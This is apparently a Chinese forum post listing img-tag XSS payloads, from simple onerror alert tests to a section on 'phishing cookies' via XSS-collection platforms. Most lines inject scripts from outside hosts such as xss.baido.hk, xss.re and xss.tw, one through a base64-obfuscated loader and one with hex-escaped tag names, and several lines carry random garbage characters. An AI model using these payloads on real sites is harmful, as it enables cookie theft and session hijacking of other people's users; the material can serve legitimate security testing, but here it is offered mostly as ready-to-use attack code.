img标签的常用几种测试手段

admin

<img src='non-exist.jpg'onerror="alert('xss')">
<img src=# onerror=alert(123)>
<img src=# onerror=alert(document.cookie)>
下面是利用平台钓cookie的
. L* }8 Y4 ~- W- \" i3 g <img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>
- ^0 s4 \/ e' d/ i" S$ s

" s  t; z$ j+ \% S2 a) _<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
) M  D) O2 S* t<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
% f6 t5 J( q8 G- A5 M2 b* P“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
: d! v5 t* A- D5 v<img src=1 onerror=jQuery.getScript("//xss.re/974")>
( c0 z7 L" D4 n  B! M$ a<img src="#">
' c" n) H1 u8 T% L  C2 V. L+ I<img src="#">
<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
. j0 N( m, [5 h$ D) E' R<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
  o5 n& ?( b4 ]<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
<img src=x width="0" height="0"></img>
$ K1 }/ i7 V6 p7 |<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
$ A/ p! p9 [2 [+ R" W+ F" z2 u: r<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>